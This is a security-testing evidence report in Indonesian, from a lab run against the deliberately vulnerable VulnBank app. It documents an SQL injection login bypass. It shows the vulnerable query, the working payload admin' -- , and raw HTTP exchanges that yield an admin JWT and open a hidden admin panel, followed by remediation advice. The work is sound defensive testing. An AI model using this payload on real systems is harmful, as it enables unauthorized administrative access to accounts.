Skenario 16 / 26FAIL

SQL Injection - Authentication - Login Bypass

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] SQL Injection - Authentication - Login Bypass

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] SQL Injection - Authentication - Login Bypass

Deskripsi

Endpoint /login membangun query SQL dengan f-string yang menyisipkan username dan password mentah tanpa parameterisasi: SELECT * FROM users WHERE username='{username}' AND password='{password}'. Penyerang menutup literal string lalu mengomentari sisa query sehingga pemeriksaan password dilewati sepenuhnya.

Dampak

Confidentiality + Integrity (Critical): autentikasi dapat dilewati tanpa mengetahui password. Payload admin' -- memberikan sesi administrator penuh beserta JWT dengan klaim is_admin true, yang membuka panel admin dan seluruh fungsi administratif (hapus akun, buat admin baru, setujui pinjaman).

CWE

CWE-89: Improper Neutralization of Special Elements used in an SQL Command

OWASP

A03:2021 - Injection

Skenario

Normal: login dengan kredensial sah milik sendiri menghasilkan token non-admin. Eksploitasi: username diisi admin' -- dengan password sembarang -> query menjadi SELECT * FROM users WHERE username='admin' -- ' AND password='anything' sehingga kondisi password terpotong menjadi komentar. Dampak: token admin dipakai membuka panel administrasi.

Endpoint

POST http://127.0.0.1:5001/login

Fitur terdampak

Autentikasi pengguna (form login web dan API login)

Rekomendasi perbaikan

- Gunakan parameterized query / prepared statement untuk seluruh akses database; jangan pernah merangkai SQL dengan f-string atau konkatenasi. - Simpan password sebagai hash ber-salt (bcrypt/argon2) dan bandingkan hash, bukan mencocokkan password di dalam klausa WHERE. - Terapkan allow-list karakter pada input username. - Jangan kembalikan detail query atau objek user mentah pada respons.

Bukti konsep

1) (Screenshot 1) NORMAL: login dengan kredensial sah pentest_attacker -> token non-admin, is_admin false. 2) (Screenshot 2) EKSPLOITASI: username admin' -- dengan password anything -> login sukses sebagai admin, is_admin true. 3) (Screenshot 3) DAMPAK CIA: token hasil injeksi dipakai mengakses /sup3r_s3cr3t_admin -> HTTP 200, panel administrasi terbuka.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] SQL Injection - Authentication - Login Bypass

Description:
Endpoint /login membangun query SQL dengan f-string yang menyisipkan username dan password mentah tanpa parameterisasi: SELECT * FROM users WHERE username='{username}' AND password='{password}'. Penyerang menutup literal string lalu mengomentari sisa query sehingga pemeriksaan password dilewati sepenuhnya.

Impact:
Confidentiality + Integrity (Critical): autentikasi dapat dilewati tanpa mengetahui password. Payload admin' --  memberikan sesi administrator penuh beserta JWT dengan klaim is_admin true, yang membuka panel admin dan seluruh fungsi administratif (hapus akun, buat admin baru, setujui pinjaman).

CWE:
CWE-89: Improper Neutralization of Special Elements used in an SQL Command

OWASP:
A03:2021 - Injection

Scenario:
Normal: login dengan kredensial sah milik sendiri menghasilkan token non-admin. Eksploitasi: username diisi admin' --  dengan password sembarang -> query menjadi SELECT * FROM users WHERE username='admin' -- ' AND password='anything' sehingga kondisi password terpotong menjadi komentar. Dampak: token admin dipakai membuka panel administrasi.

Endpoint:
POST http://127.0.0.1:5001/login

Affected Feature:
Autentikasi pengguna (form login web dan API login)

Remediation:
- Gunakan parameterized query / prepared statement untuk seluruh akses database; jangan pernah merangkai SQL dengan f-string atau konkatenasi.
- Simpan password sebagai hash ber-salt (bcrypt/argon2) dan bandingkan hash, bukan mencocokkan password di dalam klausa WHERE.
- Terapkan allow-list karakter pada input username.
- Jangan kembalikan detail query atau objek user mentah pada respons.

POC:
1) (Screenshot 1) NORMAL: login dengan kredensial sah pentest_attacker -> token non-admin, is_admin false.
2) (Screenshot 2) EKSPLOITASI: username admin' --  dengan password anything -> login sukses sebagai admin, is_admin true.
3) (Screenshot 3) DAMPAK CIA: token hasil injeksi dipakai mengakses /sup3r_s3cr3t_admin -> HTTP 200, panel administrasi terbuka.

02 — Tangkapan layar

Tangkapan layar (3)

01 / 1
02 / 2
03 / 3

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 59
Content-Type: application/json

{"username": "pentest_attacker", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 503
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:08 GMT

{
  "accountNumber": "0932191785",
  "debug_info": {
    "account_number": "0932191785",
    "is_admin": false,
    "login_time": "2026-09-30 02:58:08.573428",
    "user_id": 2,
    "username": "pentest_attacker"
  },
  "isAdmin": false,
  "message": "Login successful",
  "status": "success",
  "token": "[REDACTED-LAB-VALUE]"
}
REKAMAN 02 / 2
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 50
Content-Type: application/json

{"username": "admin' -- ", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 470
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:10 GMT

{
  "accountNumber": "ADMIN001",
  "debug_info": {
    "account_number": "ADMIN001",
    "is_admin": true,
    "login_time": "2026-09-30 02:58:10.334952",
    "user_id": 1,
    "username": "admin"
  },
  "isAdmin": true,
  "message": "Login successful",
  "status": "success",
  "token": "[REDACTED-LAB-VALUE]"
}
REKAMAN 03 / 3
HTTP request
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 43060
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:11 GMT

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Admin Panel - VulnBank</title>
    <link rel="icon" type="image/svg+xml" href="/static/favicon.svg">
    <link rel="icon" type="image/svg+xml" href="/static/favicon-16.svg" sizes="16x16">
    <link rel="stylesheet" href="/static/style.css">
    <link rel="stylesheet" href="/static/admin.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>document.documentElement.setAttribute("data-theme", localStorage.getItem("vb-theme") || "light");</script>
</head>
<body>
    <a href="#main-content" class="skip-link">Skip to main content</a>

    <div class="admin-layout">
        <!-- Sidebar -->
        <aside class="admin-sidebar">
            <div class="sidebar-header">
                <div class="sidebar-logo">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M12 2v20M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"></path>
                    </svg>
                    <span class="sidebar-logo-text">VulnBank</span>
                    <span class="sidebar-badge">Admin</span>
                </div>
            </div>

            <nav class="sidebar-nav">
                <a href="#overview" class="sidebar-nav-item active" data-section="overview">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="3" y="3" width="7" height="7"></rect>
                        <rect x="14" y="3" width="7" height="7"></rect>
                        <rect x="14" y="14" width="7" height="7"></rect>
                        <rect x="3" y="14" width="7" height="7"></rect>
                    </svg>
                    <span>Overview</span>
                </a>
                <a href="#users" class="sidebar-nav-item" data-section="users">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
                        <circle cx="9" cy="7" r="4"></circle>
                        <path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
                        <path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
                    </svg>
                    <span>Users</span>
                </a>
                <a href="#loans" class="sidebar-nav-item" data-section="loans">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="2" y="7" width="20" height="14" rx="2" ry="2"></rect>
                        <path d="M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16"></path>
                    </svg>
                    <span>Loans</span>
                </a>
                <a href="#settings" class="sidebar-nav-item" data-section="settings">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <circle cx="12" cy="12" r="3"></circle>
                        <path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0-9 19.4a1.65 1.65 0 0 0-1 1.51 1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0 .33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
                    </svg>
                    <span>Settings</span>
                </a>
            </nav>

            <div class="sidebar-footer">
                <a href="/dashboard" class="sidebar-back-link">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <line x1="19" y1="12" x2="5" y2="12"></line>
                        <polyline points="12 19 5 12 12 5"></polyline>
                    </svg>
                    <span>Back to Dashboard</span>
                </a>
                <button class="theme-toggle-sidebar" onclick="toggleTheme()" aria-label="Toggle dark mode">
                    <span class="toggle-icon toggle-icon-sun">☀️</span>
                    <span class="toggle-icon toggle-icon-moon">🌙</span>
                </button>
            </div>
        </aside>

        <!-- Main Content -->
        <main class="admin-main" id="main-content">
            <!-- Top Bar -->
            <header class="admin-topbar">
                <h1 class="admin-page-title">Overview</h1>
                <div class="admin-profile-mini">
                    <span class="admin-name">System Administrator</span>
                    <img src="/static/uploads/admin.png" alt="Admin">
                </div>
            </header>

            <!-- Messages -->
            <div id="message" aria-live="polite"></div>

            <!-- Overview Section -->
            <section class="admin-section" id="overview-section">
                <div class="section-header">
                    <h2>Transaction Analytics</h2>
                    <p class="section-subt

[... 37049 more bytes not shown ...]